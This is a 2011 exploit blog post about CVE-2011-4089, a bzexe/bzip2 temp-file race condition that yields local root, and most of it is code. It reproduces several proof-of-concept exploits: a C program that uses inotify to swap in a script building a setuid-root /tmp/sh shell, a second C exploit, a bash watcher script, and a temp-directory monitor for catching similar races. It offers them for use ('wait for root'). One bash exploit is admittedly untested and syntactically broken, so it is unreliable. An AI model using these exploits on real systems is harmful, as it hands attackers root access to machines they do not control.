Help pay for xds lawyer fees.
LR

Bzexe (bzip2 and possibly bunzip2) race condition->localroot

Posted on 1st November 2011 in Codes, Exploits

CVE-2011-4089 – bzip2/bzexe Local root race condition
OK since there has been alot of chatter about this on the seclists.org and FD… I decided to give credit where it is due… Firstly a brief outline of the bug…
bzexe is now apparently, ALSO same code as bzip2 wich wouldmean, that this would be updated in the way of, possible races to be won…
Anyhow, many talks with lh/loophole,bugz,vladz,Benjamin renaut,kcope and others have shown me ways to exploit it… and yes it is possible, and even with bzip2… now, lets look at it abit..
Here is PoC main updated also in the newer post on this :

Affected is about every distro wich has bzip2 or bzexe , pick your binary and compress some file with that binary, then launch this exploit with ./exploit my-compressed-file ,wait for root..

/*
   bzexec_PoC.c -- bzip2 (bzexe) race condition PoC (CVE-2011-4089)

   Author:    vladz (http://vladz.devzero.fr)
   Tested on: Debian 6.0.3 up to date (bzip2 version 1.0.5-6)

   This PoC exploits a race condition in the bzexe script.  This tool is
   rarely used so I wasn't supposed to write an exploit.  But some people
   on the full-disclosure list had doubts about this exploitation.  Public
   discussion about this issue started from this post:  

http://seclists.org/fulldisclosure/2011/Oct/776.

   I am using Inotify to win the race (on my dual-core, it succeed 100%).
      Usage: ./bzexe_PoC <command_name>

   For instance, if "/bin/dd" has already been compressed with bzexe,
   launch:
      $ ./bzexe_PoC dd
      [*] launching attack against "dd"
      [+] creating evil script (/tmp/evil)
      [+] creating target directory (/tmp/dd)
      [+] initialize inotify
      [+] waiting for root to launch "dd"
      [+] opening root shell
      # whoami
      root
*/
#define _GNU_SOURCE
#include <sys/inotify.h>
#include <stdlib.h>
#include <stdio.h>
#include <unistd.h>
#include <sys/syscall.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <string.h>
#include <fcntl.h>

int create_nasty_shell(char *file) {
  char *s = "#!/bin/bash\n"
            "echo 'main(){setuid(0);execve(\"/bin/sh\",0,0);}'>/tmp/sh.c\n"
            "gcc /tmp/sh.c -o /tmp/sh; chown root:root /tmp/sh\n"
            "chmod 4755 /tmp/sh; rm -f ${0}; ${0##*/} $@\n";

  int fd = open(file, O_CREAT|O_RDWR, S_IRWXU|S_IRWXG|S_IRWXO);
  write(fd, s, strlen(s));
  close(fd);
  return 0;
}

int main(int argc, char **argv) {
  int fd, wd;
  char buf[1], *targetpath,*evilsh = "/tmp/evil", *trash = "/tmp/trash";
  if (argc < 2) {
    printf("usage: %s <cmd name>\n", argv[0]);
    return 1;
  }
  printf("[*] launching attack against \"%s\"\n", argv[1]);
  printf("[+] creating evil script (/tmp/evil)\n");
  create_nasty_shell(evilsh);
  targetpath = malloc(sizeof(argv[1]) + 6);
  sprintf(targetpath, "/tmp/%s", argv[1]);
  printf("[+] creating target directory (%s)\n", targetpath);
  mkdir(targetpath, S_IRWXU|S_IRWXG|S_IRWXO);
  printf("[+] initialize inotify\n");
  fd = inotify_init();
  wd = inotify_add_watch(fd, targetpath, IN_CREATE);
  printf("[+] waiting for root to launch \"%s\"\n", argv[1]);
  syscall(SYS_read, fd, buf, 1);
  syscall(SYS_rename, targetpath,  trash);
  syscall(SYS_rename, evilsh, targetpath);
  inotify_rm_watch(fd, wd);
  printf("[+] opening root shell (/tmp/sh)\n");
  sleep(2);
  system("rm -fr /tmp/trash;/tmp/sh || echo \"[-] Failed.\"");
  return 0;
}

thats the latest code and yes wins every race…

The exploit works as follows.
This isn't refined (why bother?) but worked.
1. determine which files are bzexe'd on a system say bash
2. create a matching directory you own in /tmp
3. create a exploit script in /tmp

4. watch for the existence of /tmp/bash/gztmp* we want to know before the gztmp file is renamed to bash.
larry@b0rk:~$ while (true) do ./exp.sh ; done

#!/bin/bash
if [ -a /tmp/bash/gztmp* ]
then
echo "Exploting bzexe."
mv /tmp/bash /tmp/bash.dir
echo "Copying evil file into place."
cp /tmp/bad /tmp/bash
fi

This is a difficult race condition to win, but it can be won maybe 60% of
the time. Also my system is 256mb of ram @ 500mhz. Probably much easier
to win a race than on a dual core 3.0 ghz system?

Failures will show:
root@b0rk:/root# ./bash <-- missed copy
./bash: 22: /tmp/bash: not found

root@b0rk:/root# ./bash <-- race failed because permissions weren't set
yet on bash from cp
./bash: 22: /tmp/bash: Permission denied

Success will show:
root@b0rk:/root# ./bash
root@b0rk:/root# ls -l /etc/shadow
-rwxrwxrwx 1 root shadow 1024 2010-07-03 11:55 /etc/shadow

larry@b0rk:~$ while (true) do ./exp.sh ; done

Thankyou for that, it was a very good description and also allows others to create a poc :)
Ohwish, here is one…

/*
  bzexe race condition POC  ////   on some boxes bzexe = bzip2 (exact code)
  Benjamin Renaut <ben@tokidev.fr>
  --
  Example of use:
  $ gcc bz.c -o bz -O3
  $ ./bz ls

  then in another shell (as root):
  # cp /bin/ls ./
  # bzexe ls
  # bzip2 ls
  # ./ls
-> and check /tmp/bzexe.xd
*/
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>
#include <sys/stat.h>
#include <dirent.h>
#include <errno.h>

char* shellcode="#!/bin/sh\nsh >/tmp/bzexe.xd\n";

int write_shellcode(char* dest) {
FILE* fdest=fopen(dest, "w");
if(fdest==NULL)
return(-1);
if(chmod(dest, 0777))
return(-1);
fprintf(fdest, shellcode);
fclose(fdest);
return(0);
}

int main(int argc, char** argv) {
DIR* tdir;
struct dirent* tdirent;
char dirname[4000];
char target[4000];
if(argc!=2) {
printf("Usage: %s [ANY BINARY]\n", argv[0]);
printf("- Will wait for BINARY to be executed (through bzexe/bzip2) and then will try and exploit it\n");
return(0);
}
snprintf(dirname, 4000, "/tmp/%s", argv[1]);
if(mkdir(dirname, 0777)) {
perror("- mkdir");
return(-1);
}
while(1) {
tdir=opendir(dirname);
if(tdir==NULL) {
perror("- opendir");
return(-1);
}
while((tdirent=readdir(tdir))!=NULL) {
if((strncmp(tdirent->d_name, "gztmp", 5)==0) && (tdirent->d_type & DT_REG)) {
snprintf(target, 4000, "%s/%s", dirname, tdirent->d_name);
if(unlink(target)) {
perror("- unlink");
return(-1);
}
if(rmdir(dirname)) {
perror("- rmdir");
return(-1);
}
if(write_shellcode(dirname)) {
printf("- Fail\n");
return(-1);
}
printf("+ Success\n");
return(0);
}
}
closedir(tdir);
}
return(0);
}

Now that works great and, you just then with that .c , need to run ANY bzip2 or bzexe and bingo, you will hav shell :)
It is tricky, but it is possible.. just use the info, and, it is tested and working.. this sh version, would need tweaking but, it is very good attempt to make a poc for a starters go, as it must, be detached and execute the payload seperately really for it to work, so maybe this would be better to have a .c file seperate wich simply makes the looping bzip2, then again, you could also use that code up there, and Inotify code made for ALL tmp./ wich i will show abuit further on..

##////////////////exploit.sh
#!/bin/bash
##BZEXE/BZIP2 Compress<->Decompress race condition (local root exploit)
echo "~~ +[!] BZEXE/BZIP2/BUNZIP2 [Compress<->Decompress] Race condition & (LocalRoot) [!]+-~~"  >&2
cd /tmp
mkdir /bash/sh
chmod +x /bash/sh
dd if=/dev/zero bs=135k count=15000 of=/tmp/bash/shell
cat > /tmp/bash/bad << __EOF
#!/bin/sh
chmod 777 /tmp/bash/sh
__EOF
if [ /bin/bzexe ]
then
/bin/bzexe /tmp/bash/shell
echo ""  >&2
else
if [ /bin/bzip2 ]
then
/bin/bzip2 /tmp/bash/shell
echo ""  >&2
else
echo "[!!] Test: Decompression bug with: bunzip2 -d bug.bz2 .."  >&2
if [ /bin/bunzip2 && /tmp/bash/shell.bz2 ]
/bin/bunzip2 -d /tmp/bash/shell.bz2
echo "[-] "  >&2
ls -l shell.bz2
echo "[+] Test: bunzip2 -d is now running .."  >&2
then
if [ -a /tmp/bash/gztmp* ]
then
echo "[*] Trying the move/copy bad script.sh .."  >&2
mv /tmp/bash/shell /tmp/bash/bash.dir
cp /tmp/bash/bad /tmp/bash/sh
echo "[!] OK! We will check for our shell (2 places possible) .."  >&2
ls -l /tmp/bash/sh
ls -l /tmp/bash/bash.dir
./tmp/bash/sh
if [ /tmp/bash/sh ]
echo "-> Spawning rootshell .."  >&2
echo ""  >&2
else
if [ /tmp/bash/bash.dir ]
echo "-> UID0 - Have fun .."  >&2
echo ""  >&2
then
whoami
su
id
uptime
uname -ar
fi
fi
fi
fi
fi

Thats the *first* PoC wich was not really tested but looks to be on the right path for sure… it may need to have some tweaking but, thats atleast 2 symlink problems here… now lets look at something else…
wich, you could just let run, and it would CATCH all these exceptions:

/*
 * hax_inotify_tempracecardriver.c
 *
 * /tmp, /var/tmp, /usr/tmp inotify watch POC.
 * This will catch 100%* of mkstemp(), tmp files, etcetera usages in
 * the above directories.
 *
 * *[1] This is true if IN_Q_OVERFLOW is not reached.
 * You can check your max queued events by looking inside of:
 * /proc/sys/fs/inotify/max_queued_events
 * The value in this file is used when an application calls
 * inotify_init(2) to set an upper limit on the number of events that can
 * be queued to the corresponding inotify instance.  Events in excess of
 * this limit are dropped, but an IN_Q_OVERFLOW event is always generated.
 *
 * <Scrippie> 100% wut? liez and slander!
 * <lh> it can be 100% though if /proc/sys/fs/inotify/max_queued_events
 *      is larger than your avail inodes
 * <lh> i'm not that big of a liar :\
 * <kcope> dont try to be smarter than Scrippie :> <3
 * Example to determine inodes and update max_queued_events:
 * cd /proc/sys/fs/inotify/
 * tune2fs -l /dev/<FS>|grep "Inode count"|awk '{print $3}' > max_queued_events
 * *******************************************************************************
 * Modify accordingly for owning temp race conditions.
 * This will print detailed stat information regarding creation,
 * metadata changes (permissions, timestamps, extended attributes, etc.),
 * and deletion.
 * The inotify API provides a mechanism for monitoring file system
 * events, merged into the kernel since 2.6.13-R3.
 * Author: loophole/lh (Cody Tubbs) codytubbs@gmail.com 2011-05-27
 * HAX 2011
 */
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <time.h>
#include <string.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/inotify.h>

#define LOGFILE "tmpfiles.out"

#define BUF_LEN (1024*(16+16))
#define PATH "/tmp"
#define PATH2 "/var/tmp"
#define PATH3 "/usr/tmp"

int main(int argc, char **argv){
  int length, i, fd, wd, wd2, wd3;
  char buf[BUF_LEN];
  char fp[256];
  char type[56];
  struct stat sb;
  FILE *file;
  time_t ltime; /* calendar time */
  fd = inotify_init();
  if(fd < 0){ perror( "inotify_init" ); }
  file = fopen(LOGFILE, "a");
  wd = inotify_add_watch( fd, PATH, IN_CREATE | IN_ATTRIB | IN_DELETE);
  wd2 = inotify_add_watch( fd, PATH2, IN_CREATE | IN_ATTRIB | IN_DELETE);
  wd3 = inotify_add_watch( fd, PATH3, IN_CREATE | IN_ATTRIB | IN_DELETE);
  for(;;) {
    i=0;
    length = read(fd, buf, BUF_LEN);
    if (length < 0){ perror("read"); }
    while(i < length){
      struct inotify_event *event = (struct inotify_event *) &buf[i];
      if(event->len){
        if(event->mask & IN_CREATE){
          snprintf(type, sizeof(type), "BEEN CREATED");
          goto stat;
        } else if(event->mask & IN_ATTRIB){
          snprintf(type, sizeof(type), "ATTRIBUTE CHANGE(S)");
          goto stat;
        } else if(event->mask & IN_DELETE){
          snprintf(type, sizeof(type), "BEEN DELETED");
          ltime = time(NULL); // get current cal time
          printf("The file [%s] has [%s] at %s\n", event->name, type, asctime(localtime(&ltime)));
          fprintf(file, "The file [%s] has [%s] at %s\n", event->name, type, asctime(localtime(&ltime)));
          goto gettime;
        }
stat:;
        snprintf(fp, sizeof(fp), "%s/%s", PATH, event->name);
        if(stat(fp, &sb) == -1){
          snprintf(fp, sizeof(fp), "%s/%s", PATH2, event->name);
          if(stat(fp, &sb) == -1){
            snprintf(fp, sizeof(fp), "%s/%s", PATH3, event->name);
            if(stat(fp, &sb) == -1){
              perror("stat");
            }
          }
        }
        ltime = time(NULL); // get current cal time
        printf("The file [%s] has [%s] at %s\n", event->name, type, asctime(localtime(&ltime)));
        fprintf(file, "The file [%s] has [%s] at %s\n", event->name, type, asctime(localtime(&ltime)));
        printf("File type:                ");
        fprintf(file, "File type:                ");
        switch (sb.st_mode & S_IFMT){
          case S_IFBLK:  printf("block device\n");     fprintf(file, "block device\n");     break;
          case S_IFCHR:  printf("character device\n"); fprintf(file, "character device\n"); break;
          case S_IFDIR:  printf("directory\n");        fprintf(file, "directory\n");        break;
          case S_IFIFO:  printf("FIFO/pipe\n");        fprintf(file, "FIFO/pipe\n");        break;
          case S_IFLNK:  printf("symlink\n");          fprintf(file, "symlink\n");          break;
          case S_IFREG:  printf("regular file\n");     fprintf(file, "regular file\n");     break;
          case S_IFSOCK: printf("socket\n");           fprintf(file, "socket\n");           break;
          default:       printf("unknown?\n");         fprintf(file, "unknown?\n");         break;
        }
        printf("I-node number:            %ld\n", (long) sb.st_ino);
        printf("Mode:                     %lo (octal)\n", (unsigned long) sb.st_mode);
        printf("Link count:               %ld\n", (long) sb.st_nlink);
        printf("Ownership:                UID=%ld GID=%ld\n", (long) sb.st_uid, (long) sb.st_gid);
        printf("Preferred I/O block size: %ld bytes\n", (long) sb.st_blksize);
        printf("File size:                %lld bytes\n", (long long) sb.st_size);
        printf("Blocks allocated:         %lld\n", (long long) sb.st_blocks);
        printf("Last status change:       %s", ctime(&sb.st_ctime));
        printf("Last file access:         %s", ctime(&sb.st_atime));
        printf("Last file modification:   %s", ctime(&sb.st_mtime));
        fprintf(file, "I-node number:            %ld\n", (long) sb.st_ino);
        fprintf(file, "Mode:                     %lo (octal)\n", (unsigned long) sb.st_mode);
        fprintf(file, "Link count:               %ld\n", (long) sb.st_nlink);
        fprintf(file, "Ownership:                UID=%ld GID=%ld\n", (long) sb.st_uid, (long) sb.st_gid);
        fprintf(file, "Preferred I/O block size: %ld bytes\n", (long) sb.st_blksize);
        fprintf(file, "File size:                %lld bytes\n", (long long) sb.st_size);
        fprintf(file, "Blocks allocated:         %lld\n", (long long) sb.st_blocks);
        fprintf(file, "Last status change:       %s", ctime(&sb.st_ctime));
        fprintf(file, "Last file access:         %s", ctime(&sb.st_atime));
        fprintf(file, "Last file modification:   %s", ctime(&sb.st_mtime));
gettime:;
        printf("\n\n");
        fprintf(file, "\n\n");
      }
    i += 16 + event->len;
    }
  }
  (void) inotify_rm_watch(fd, wd);
  (void) close(fd);
  fclose(file);
  exit(0);
}

Thx verymuch to LH :) for this wich, is very handy for catching *any* race, wich, many of wich we wont even see unless we can see the tmp files made from siome backup scripts etc…
There is much more to this but, really it is trivial, and, you could probably make a working bash script, and feel free to add a comment of a BETTER poc or email it to me and, all credit will goto you )
remember also, bzexe = bzip2 code, as they say online and, as the tarball is, also, this would possibly now link to bunzip2, and, this is why the hax_inotify etc, are handy to see what tmpfiles are made, because the ln problem will most likely work for all 3 binarys, not ONLY bzexe/bzip2 , those are definates.
Enjoy and thanks to all who helped on this one!
xd